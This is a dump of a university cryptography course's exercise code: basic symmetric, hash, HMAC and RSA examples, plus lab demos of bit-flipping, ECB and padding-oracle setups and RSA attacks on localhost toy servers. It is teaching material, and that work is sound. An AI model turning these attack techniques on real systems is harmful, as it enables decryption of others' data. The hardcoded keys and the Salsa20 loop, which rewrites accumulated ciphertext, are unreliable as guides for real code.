-------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/05.stream_encrypt_file_update.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import Salsa20 5 | from Crypto.Random import get_random_bytes 6 | import base64 7 | import sys 8 | 9 | salsa_key = b'deadbeeddeadbeef' 10 | 11 | nonce = get_random_bytes(8) 12 | streamcipher = Salsa20.new(salsa_key,nonce) 13 | 14 | f_output = open(sys.argv[2],"wb") 15 | 16 | ciphertext = b'' 17 | 18 | with open(sys.argv[1],"rb") as f_input: 19 | plaintext = f_input.read(1024) 20 | while plaintext: 21 | ciphertext += streamcipher.encrypt(plaintext) 22 | f_output.write(ciphertext) 23 | plaintext = f_input.read(1024) 24 | 25 | print("nonce = "+base64.b64encode(streamcipher.nonce).decode()) 26 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/06.AES_encrypt_file.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | from Crypto.Util.Padding import pad 7 | import sys 8 | 9 | 10 | aes_key = get_random_bytes(AES.key_size[0]) 11 | iv = get_random_bytes(AES.block_size) 12 | 13 | cipher = AES.new(aes_key, AES.MODE_CBC, iv) 14 | 15 | f_input = open(sys.argv[1],"rb") 16 | 17 | ciphertext = cipher.encrypt(pad(f_input.read(),AES.block_size)) 18 | 19 | f_output = open(sys.argv[2],"wb") 20 | f_output.write(ciphertext) 21 | 22 | print(iv) 23 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/08.sha256.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | 4 | hash_object = SHA256.new() 5 | hash_object.update(b'Beginning of the message to hash...') 6 | hash_object.update(b'...and some more data') 7 | 8 | print(hash_object.digest()) 9 | print(hash_object.hexdigest()) 10 | 11 | 12 | hash_object = SHA256.new(data=b'First part of the message. ' ) 13 | hash_object.update(b'Second part of the message. ') 14 | hash_object.update(b'Third and last.') 15 | 16 | print(hash_object.digest()) 17 | print(hash_object.hexdigest()) 18 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/09.hash_file_sha3.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | 3 | 4 | hash_gen = SHA3_256.new() 5 | 6 | with open(__file__) as f_input: 7 | hash_gen.update(f_input.read().encode()) 8 | 9 | print(hash_gen.digest()) 10 | print(hash_gen.hexdigest()) 11 | 12 | 13 | hash_gen = SHA3_256.new() 14 | with open(__file__,"rb") as f_input: 15 | hash_gen.update(f_input.read()) 16 | 17 | print(hash_gen.digest()) 18 | print(hash_gen.hexdigest()) 19 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/10.hmac-sha512.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | from Crypto.Hash import HMAC, SHA512 4 | from Crypto.Random import get_random_bytes 5 | 6 | msg = b'This is the message to use. Now compute the SHA512-HMAC' 7 | secret = get_random_bytes(32) 8 | hmac_gen = HMAC.new(secret, digestmod=SHA512) 9 | hmac_gen.update(msg[:10]) 10 | hmac_gen.update(msg[10:]) 11 | mac = hmac_gen.hexdigest() 12 | 13 | 14 | #store message and MAC into a JSON data structure 15 | json_dict = {"message": msg.decode(), "MAC":mac} 16 | json_object = json.dumps(json_dict) 17 | print(json_object) 18 | 19 | 20 | 21 | # ASSUMPTION: we have securely exchanged the secret 22 | 23 | b64 = json.loads(json_object) 24 | hmac_ver = HMAC.new(secret, digestmod=SHA512) 25 | hmac_ver.update(b64["message"].encode()) 26 | 27 | try: 28 | hmac_ver.hexverify(b64["MAC"]) 29 | print("The message '%s' is authentic" % msg) 30 | except ValueError: 31 | print("Wrong secret or message.") 32 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/12.key_derivation.py: -------------------------------------------------------------------------------- 1 | from Crypto.Protocol.KDF import scrypt 2 | from Crypto.Random import get_random_bytes 3 | 4 | password = b'W34kpassw0rd!' 5 | salt = get_random_bytes(16) 6 | 7 | # A good choice of parameters (N, r , p) was suggested by Colin Percival in his presentation in 2009: 8 | # http://www.tarsnap.com/scrypt/scrypt-slides.pdf 9 | # ( 2¹⁴, 8, 1 ) for interactive logins (≤100ms) 10 | # ( 2²⁰, 8, 1 ) for file encryption (≤5s) 11 | 12 | key = scrypt(password, salt, 16, N=2**14, r=8, p=1) 13 | print(salt) 14 | 15 | print("This should be secret: " + str(key)) 16 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/13.sha256_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | digest_object = hashlib.sha256() 4 | digest_object.update(b"First sentence to hash") 5 | digest_object.update(b" and second sentence to hash.") 6 | 7 | print(digest_object.digest()) 8 | print(digest_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/14.HMAC_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | from Crypto.Random import get_random_bytes 4 | 5 | msg = b'This is the message' 6 | secret = get_random_bytes(32) 7 | 8 | 9 | blake = hashlib.blake2b(key=secret, digest_size=32) 10 | blake.update(msg) 11 | print("BLAKE = " + blake.hexdigest()) 12 | 13 | #################### 14 | # the sender is computing the HMAC... 15 | mac_factory = hmac.new(secret, msg, hashlib.sha256) 16 | hmac_sha256 = mac_factory.digest() 17 | 18 | print("HMAC-SHA256@SENDER = " + mac_factory.hexdigest()) 19 | 20 | 21 | # the receiver has received msg1 and hmac_sha256... 22 | # then checks the HMAC 23 | msg1 = b'This is the new message' 24 | mac_factory_receiver = hmac.new(secret, msg1, hashlib.sha256) 25 | hmac_sha256_1 = mac_factory_receiver.hexdigest() 26 | print("HMAC-SHA256@RECEIVER= " + hmac_sha256_1) 27 | 28 | if hmac.compare_digest(mac_factory_receiver.digest(), hmac_sha256): 29 | print("HMAC correctly verified: messages are identical") 30 | else: 31 | print("HMAC are different") 32 | -------------------------------------------------------------------------------- /AY2324/OpenSSL/bignum/bignum.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | // a newly instantiated BIGNUM is initialized to 0 6 | BIGNUM *b1=BN_new(); 7 | BIGNUM *b2=BN_new(); 8 | BIGNUM *b3=BN_new(); 9 | BN_CTX *ctx=BN_CTX_new(); 10 | 11 | // print after init 12 | BN_print_fp(stdout,b3); 13 | printf("\n"); 14 | 15 | // roughly speaking: word functions mean -> unsigned long 16 | BN_set_word(b1,354); 17 | BN_print_fp(stdout,b1); 18 | printf("\n"); 19 | 20 | BN_set_word(b2,70000000000005); 21 | BN_print_fp(stdout,b2); 22 | printf("\n"); 23 | 24 | // b1 % b2 --> b3 25 | BN_mod(b3,b2,b1,ctx); 26 | 27 | // print in hex format 28 | BN_print_fp(stdout,b3); 29 | printf("\n"); 30 | 31 | 32 | BN_free(b1); 33 | BN_free(b2); 34 | BN_free(b3); 35 | 36 | BN_CTX_free(ctx); 37 | 38 | return 0; 39 | } -------------------------------------------------------------------------------- /AY2324/OpenSSL/bignum/bignum2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 7 | char hex_string[] = "13AAF504E4BC1E62173F87A4378C37B49C8CCFF196CE3F0AD2"; 8 | 9 | BIGNUM *big_number = BN_new(); 10 | //creeate from decimal string 11 | BN_dec2bn(&big_number, num_string); 12 | BIGNUM *big_number2 = BN_new(); 13 | BN_hex2bn(&big_number2, hex_string); 14 | 15 | BN_print_fp(stdout,big_number); 16 | printf("\n"); 17 | BN_print_fp(stdout,big_number2); 18 | printf("\n"); 19 | 20 | int res = BN_cmp(big_number2, big_number); 21 | if(res==0) 22 | printf("The big numbers are equal\n"); 23 | else 24 | printf("The big numbers are different\n"); 25 | 26 | char *num_string_after = BN_bn2hex(big_number); 27 | printf("%s\n", num_string_after); 28 | printf("%s\n", BN_bn2dec(big_number)); 29 | 30 | // politely free OpenSSL generated heap structures 31 | OPENSSL_free(num_string_after); 32 | BN_free(big_number); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /AY2324/OpenSSL/dgst/hash1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(){ 7 | 8 | EVP_MD_CTX *md; 9 | 10 | char message[] = "This is the message to hash"; 11 | 12 | 13 | 14 | //EVP_MD_CTX *EVP_MD_CTX_new(void); 15 | md = EVP_MD_CTX_new(); 16 | 17 | //int EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type); 18 | // int EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl); 19 | EVP_DigestInit(md, EVP_sha1()); 20 | 21 | 22 | // int EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *d, size_t cnt); 23 | EVP_DigestUpdate(md, message, strlen(message)); 24 | 25 | 26 | unsigned char md_value[20]; 27 | int md_len; 28 | 29 | //int EVP_DigestFinal(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s); 30 | EVP_DigestFinal(md, md_value, &md_len); 31 | 32 | // void EVP_MD_CTX_free(EVP_MD_CTX *ctx); 33 | EVP_MD_CTX_free(md); 34 | 35 | printf("The digest is: "); 36 | for(int i = 0; i < md_len; i++) 37 | printf("%02x", md_value[i]); 38 | printf("\n"); 39 | 40 | return 0; 41 | 42 | } -------------------------------------------------------------------------------- /AY2324/OpenSSL/enc/enc1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | 7 | #define ENCRYPT 1 8 | #define DECRYPT 0 9 | 10 | int main() 11 | { 12 | 13 | 14 | unsigned char key[] = "0123456789ABCDEF"; 15 | unsigned char iv[] = "1111111111111111"; 16 | 17 | EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); 18 | EVP_CipherInit(ctx,EVP_aes_128_cbc(), key, iv, ENCRYPT); 19 | 20 | 21 | unsigned char plaintext[] = "This is the plaintext to encrypt."; //len 33 22 | unsigned char ciphertext[48]; 23 | 24 | int update_len, final_len; 25 | int ciphertext_len=0; 26 | 27 | EVP_CipherUpdate(ctx,ciphertext,&update_len,plaintext,strlen(plaintext)); 28 | ciphertext_len+=update_len; 29 | printf("update size: %d\n",ciphertext_len); 30 | 31 | EVP_CipherFinal_ex(ctx,ciphertext+ciphertext_len,&final_len); 32 | ciphertext_len+=final_len; 33 | 34 | EVP_CIPHER_CTX_free(ctx); 35 | 36 | printf("Ciphertext lenght = %d\n", ciphertext_len); 37 | for(int i = 0; i < ciphertext_len; i++) 38 | printf("%02x", ciphertext[i]); 39 | printf("\n"); 40 | 41 | return 0; 42 | } 43 | 44 | -------------------------------------------------------------------------------- /AY2324/OpenSSL/rand/rand1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | RAND_load_file("/dev/random", 64); //optional on Linux 10 | RAND_bytes(random_string,MAX); 11 | 12 | printf("Sequence generated: "); 13 | for(int i = 0; i < MAX; i++) 14 | printf("%02x-", random_string[i]); 15 | printf("\n"); 16 | 17 | return 0; 18 | 19 | } -------------------------------------------------------------------------------- /AY2324/OpenSSL/rand/rand2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | if(RAND_load_file("/dev/random", 64) != 64) 10 | fprintf(stderr,"Error with rand init\n"); 11 | 12 | if(!RAND_bytes(random_string,MAX)) 13 | fprintf(stderr,"Error with rand generation\n"); 14 | 15 | 16 | printf("Sequence generated: "); 17 | for(int i = 0; i < MAX; i++) 18 | printf("%02x-", random_string[i]); 19 | printf("\n"); 20 | 21 | return 0; 22 | 23 | } -------------------------------------------------------------------------------- /AY2324/OpenSSL/rand/rand3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX 64 6 | 7 | void handle_errors(){ 8 | ERR_print_errors_fp(stderr); 9 | abort(); 10 | } 11 | 12 | 13 | int main(){ 14 | unsigned char random_string[MAX]; 15 | 16 | if(RAND_load_file("/dev/random", 64) != 64) //optional on Linux 17 | handle_errors(); 18 | 19 | if(!RAND_bytes(random_string,MAX)) 20 | handle_errors(); 21 | 22 | printf("Sequence generated: "); 23 | for(int i = 0; i < MAX; i++) 24 | printf("%02x-", random_string[i]); 25 | printf("\n"); 26 | 27 | return 0; 28 | 29 | } -------------------------------------------------------------------------------- /AY2324/Python/attacks/BF/bitflippling_video.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import ChaCha20 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | plaintext = b'This is the message to encrypt but the attacker knows there is a specific sequence of numbers 12345' 7 | #attacker knows that b'1' in a specific position 8 | index = plaintext.index(b'1') 9 | print(index) 10 | 11 | key = get_random_bytes(32) 12 | nonce = get_random_bytes(12) 13 | cipher = ChaCha20.new(key = key, nonce = nonce) 14 | ciphertext = cipher.encrypt(plaintext) 15 | 16 | # ciphertext, index, b'1' 17 | 18 | new_value = b'9' 19 | new_int = ord(new_value) # ASCII code 20 | 21 | mask = ord(b'1') ^ new_int 22 | 23 | edt_ciphertext = bytearray(ciphertext) 24 | edt_ciphertext[index] = ciphertext[index] ^ mask 25 | 26 | # edt_ciphertext is received by the recipient, 27 | 28 | cipher_dec = ChaCha20.new(key=key, nonce=nonce) 29 | decrypted_text = cipher_dec.decrypt(edt_ciphertext) 30 | print(decrypted_text) 31 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/BF/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | 4 | 5 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/BF/mysecrets.py: -------------------------------------------------------------------------------- 1 | bf_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 2 | bf_iv = b'?y\xd5A9\x03Q\x91\xec\xdb\xe2F\xf9 \x92\xf8' -------------------------------------------------------------------------------- /AY2324/Python/attacks/CBCPaddingOracle/__pycache__/myconfig.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2324/Python/attacks/CBCPaddingOracle/__pycache__/myconfig.cpython-310.pyc -------------------------------------------------------------------------------- /AY2324/Python/attacks/CBCPaddingOracle/__pycache__/mydata.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2324/Python/attacks/CBCPaddingOracle/__pycache__/mydata.cpython-310.pyc -------------------------------------------------------------------------------- /AY2324/Python/attacks/CBCPaddingOracle/__pycache__/mysecrets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2324/Python/attacks/CBCPaddingOracle/__pycache__/mysecrets.cpython-310.pyc -------------------------------------------------------------------------------- /AY2324/Python/attacks/CBCPaddingOracle/helper/gen_ciphertext.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad 4 | 5 | from attacks.CBCPaddingOracle.mysecrets import cbc_oracle_key as key 6 | from attacks.CBCPaddingOracle.mydata import cbc_oracle_iv as iv 7 | 8 | cipher = AES.new(key,AES.MODE_CBC,iv) 9 | 10 | # msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 11 | msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 12 | 13 | print(len(msg)) 14 | print(iv) 15 | print(key) 16 | ctxt = cipher.encrypt(pad(msg,AES.block_size)) 17 | print(ctxt) 18 | 19 | cipher2 = AES.new(key,AES.MODE_CBC,iv) 20 | print(cipher2.decrypt(ctxt)) 21 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/CBCPaddingOracle/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12346 3 | 4 | 5 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/CBCPaddingOracle/mydata.py: -------------------------------------------------------------------------------- 1 | cbc_oracle_iv = b'\xd9H\xaf\xc9\xa5\xc9"3\x93\xaa\xbd\x87\xa5\x15\x04\xdd' 2 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\x82\xb0d2\x0bm\xc7\xdeX)\xb2\x7f\xb2\xe7I\x14' 3 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbcS\xac\xd9\xb9\xbb\xfaI\x87\xa3E\x8aT8//\xf4\xb0\xa9u\x8c\x0eQ\x1c\x83v\xed\x04`\n\xf7\xcc\x03' 4 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 5 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 6 | cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 7 | 8 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/CBCPaddingOracle/mysecrets.py: -------------------------------------------------------------------------------- 1 | cbc_oracle_key = b'0123456789abcdef0123456789abcdef' -------------------------------------------------------------------------------- /AY2324/Python/attacks/ECB/ECB_ACPA/ECB_ACPAttack_Server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from attacks.ECB.mysecrets import ecb_oracle_key,ecb_oracle_secret 7 | from attacks.ECB.myconfig import HOST, PORT 8 | 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | print('Socket created') 12 | 13 | try: 14 | s.bind((HOST, PORT)) 15 | except socket.error as msg: 16 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 17 | sys.exit() 18 | print('Socket bind complete') 19 | 20 | s.listen(10) 21 | print('Socket now listening') 22 | 23 | #wait to accept a connection - blocking call 24 | while 1: 25 | conn, addr = s.accept() 26 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 27 | 28 | input0 = conn.recv(1024).decode() 29 | 30 | # ecb_oracle_secret is 16 bytes long, all printable strings 31 | message = """Here is the msg:{0} - and the sec:{1}""".format( input0, ecb_oracle_secret) 32 | message = pad(message.encode(),AES.block_size) 33 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 34 | ciphertext = cipher.encrypt(message) 35 | 36 | conn.send(ciphertext) 37 | 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/ECB/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | DELTA_PORT = 101 4 | 5 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/ECB/mysecrets.py: -------------------------------------------------------------------------------- 1 | ecb_oracle_secret = "Here's my secret" 2 | ecb_oracle_long_secret = "Here's my very long secret" 3 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 4 | 5 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/RSA Attacks/1.factorDB.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | n_length = 150 5 | 6 | p1 = getPrime(n_length) 7 | p2 = getPrime(n_length) 8 | print(p1) 9 | print(p2) 10 | 11 | n = p1 * p2 12 | print(n) 13 | 14 | 15 | 16 | f = FactorDB(n) 17 | f.connect() 18 | print(f.get_factor_list()) 19 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/RSA Attacks/3.common_prime.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from gmpy2 import gcd 3 | 4 | if __name__ == '__main__': 5 | 6 | p1 = getPrime(1024) 7 | p2 = getPrime(1024) 8 | p3 = getPrime(1024) 9 | 10 | n1 = p1 * p2 11 | n2 = p1 * p3 12 | 13 | print(p1) 14 | print(p2) 15 | print(p3) 16 | 17 | 18 | p = gcd(n1,n2) 19 | print("-----------") 20 | print(p) 21 | print(n1 // p) 22 | print(n2 // p) 23 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/RSA Attacks/5.low_public_exponent.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | 4 | #kth root of the number n 5 | def iroot(k, n): 6 | u, s = n, n+1 7 | while u < s: 8 | s = u 9 | t = (k-1) * s + n // pow(s, k-1) 10 | u = t // k 11 | return s 12 | 13 | if __name__ == '__main__': 14 | 15 | rsa_keypair = RSA.generate(2048, e = 3) 16 | e = rsa_keypair.e 17 | # d = rsa_keypair.d 18 | n = rsa_keypair.n 19 | 20 | m = b'This message needs to be encrypted' 21 | m_int = int.from_bytes(m,byteorder='big') 22 | 23 | c = pow(m_int,e,n) 24 | 25 | decrypted_int = iroot(e, c) 26 | print(decrypted_int) 27 | print(decrypted_int.to_bytes(decrypted_int.bit_length() // 8 +1, byteorder='big').decode()) 28 | 29 | dec = pow(c, 1/3) 30 | print(dec) 31 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/LSB_Oracle.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | from myconfig import HOST, PORT 5 | from mysecrets import lsb_d as d, lsb_n as n 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | print('Socket created') 9 | 10 | try: 11 | s.bind((HOST, PORT)) 12 | except socket.error as msg: 13 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 14 | sys.exit() 15 | print('Socket bind complete') 16 | 17 | s.listen(10) 18 | print('Socket now listening') 19 | 20 | #wait to accept a connection - blocking call 21 | while 1: 22 | conn, addr = s.accept() 23 | print('A new RSA encrypted message received from ' + addr[0] + ':' + str(addr[1])) 24 | 25 | # receive the ciphertext 26 | ciphertext = conn.recv(4096) 27 | c = int.from_bytes(ciphertext,byteorder='big') 28 | # decrypt it 29 | lsb = pow(c,d,n) % 2 30 | # leak the LSB 31 | print(lsb) 32 | conn.send(int.to_bytes(lsb,1,byteorder='big')) 33 | 34 | conn.close() 35 | 36 | s.close() 37 | -------------------------------------------------------------------------------- /AY2324/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/mysecrets.py: -------------------------------------------------------------------------------- 1 | lsb_n = 84512936364028707109792721541348089559038960317411172574310460131821809228801 2 | lsb_d = 33338617022738821809198944565794469679031084241028925158776770023255471009649 3 | lsb_e = 65537 4 | lsb_ciphertext = 40905797042890600077330500098053021483209678644028914795144404253281221960366 5 | lsb_plaintext = 803417515832054223369196934329960786582357242441556610682060160426930292 6 | -------------------------------------------------------------------------------- /AY2324/Python/basics/asymmetric/03_RSA_keygen_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives.asymmetric import rsa 3 | from cryptography.hazmat.primitives import serialization 4 | 5 | private_key = rsa.generate_private_key( 6 | public_exponent=65537, 7 | key_size=2048, 8 | backend=default_backend() 9 | ) 10 | 11 | 12 | pem = private_key.private_bytes( 13 | encoding=serialization.Encoding.PEM, 14 | format=serialization.PrivateFormat.PKCS8, # RAW / Traditional OpenSSL 15 | # encryption_algorithm=serialization.BestAvailableEncryption(b'mypassword') 16 | encryption_algorithm=serialization.NoEncryption() 17 | ) 18 | # pem.splitlines()[0] 19 | print(pem) 20 | with open("privatekey.pem", 'wb') as pem_out: 21 | pem_out.write(pem) 22 | 23 | 24 | 25 | public_key = private_key.public_key() 26 | public_pem = public_key.public_bytes( 27 | encoding=serialization.Encoding.PEM, 28 | format=serialization.PublicFormat.SubjectPublicKeyInfo 29 | ) 30 | print(public_pem) 31 | print(public_key.public_numbers()) 32 | print(private_key.private_numbers().p) 33 | print(private_key.private_numbers().q) 34 | print(private_key.private_numbers().d) 35 | 36 | print(private_key.private_numbers().public_numbers.e) 37 | -------------------------------------------------------------------------------- /AY2324/Python/basics/asymmetric/05_RSA_encrypt_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.primitives.asymmetric import rsa 2 | from cryptography.hazmat.primitives import constant_time 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.hazmat.primitives import hashes 7 | 8 | key_file = open("privatekey.pem", "rb") 9 | private_key = serialization.load_pem_private_key( 10 | key_file.read(), 11 | password=None, 12 | backend=default_backend() 13 | ) 14 | 15 | public_key = private_key.public_key() 16 | 17 | message = b"encrypted data" 18 | 19 | ciphertext = public_key.encrypt( 20 | message, 21 | padding.OAEP( 22 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 23 | algorithm=hashes.SHA256(), 24 | label=None 25 | ) 26 | ) 27 | 28 | plaintext = private_key.decrypt( 29 | ciphertext, 30 | padding.OAEP( 31 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 32 | algorithm=hashes.SHA256(), 33 | label=None 34 | ) 35 | ) 36 | # plaintext == message 37 | 38 | print(constant_time.bytes_eq(plaintext,message)) 39 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/01.gen_random_key.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | print(get_random_bytes(40)) 7 | 8 | print(get_random_bytes(AES.block_size)) 9 | 10 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/02.block-AES+padding.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | from Crypto.Util.Padding import pad, unpad 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | 7 | 8 | print(AES.key_size) 9 | print(AES.key_size[2]) 10 | 11 | key = get_random_bytes(AES.key_size[2]) 12 | iv = get_random_bytes(AES.block_size) 13 | 14 | 15 | data = b'These data are to be encrypted!!' # 32 bytes, no need for padding 16 | print(len(data)) 17 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 18 | ct = cipher_enc.encrypt(data) 19 | 20 | print(len(ct)) 21 | 22 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 23 | pt = cipher_dec.decrypt(ct) 24 | print(pt) 25 | 26 | 27 | 28 | 29 | 30 | # encryption + padding 31 | data = b'Unaligned data to cipher' # 24 bytes, will need padding 32 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 33 | padded_data = pad(data,AES.block_size) 34 | print(padded_data) 35 | ct = cipher_enc.encrypt(padded_data) 36 | 37 | #print Base64 38 | print(base64.b64encode(ct).decode()) 39 | 40 | 41 | #decryption + unpadding 42 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 43 | decrypted_data = cipher_dec.decrypt(ct) 44 | print(decrypted_data) 45 | pt = unpad(decrypted_data, AES.block_size) 46 | assert(data == pt) 47 | -------------------------------------------------------------------------------- /AY2324/Python/basics/symmetric/03.stream-chacha20.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import sys 3 | from Crypto.Cipher import ChaCha20 4 | from Crypto.Random import get_random_bytes 5 | 6 | 7 | plaintext = b'This is the secret message to encrypt' 8 | 9 | key = get_random_bytes(ChaCha20.key_size) 10 | 11 | cipher = ChaCha20.new(key=key) #nonce is automatically generated 12 | 13 | # alternative code if you want to select the nonce explicitly 14 | # nonce = get_random_bytes(12) 15 | # cipher = ChaCha20.new(nonce=nonce, secret=secret) 16 | 17 | ciphertext = cipher.encrypt(plaintext) 18 | 19 | print("Ciphertext= "+base64.b64encode(ciphertext).decode()) 20 | print("Nonce= 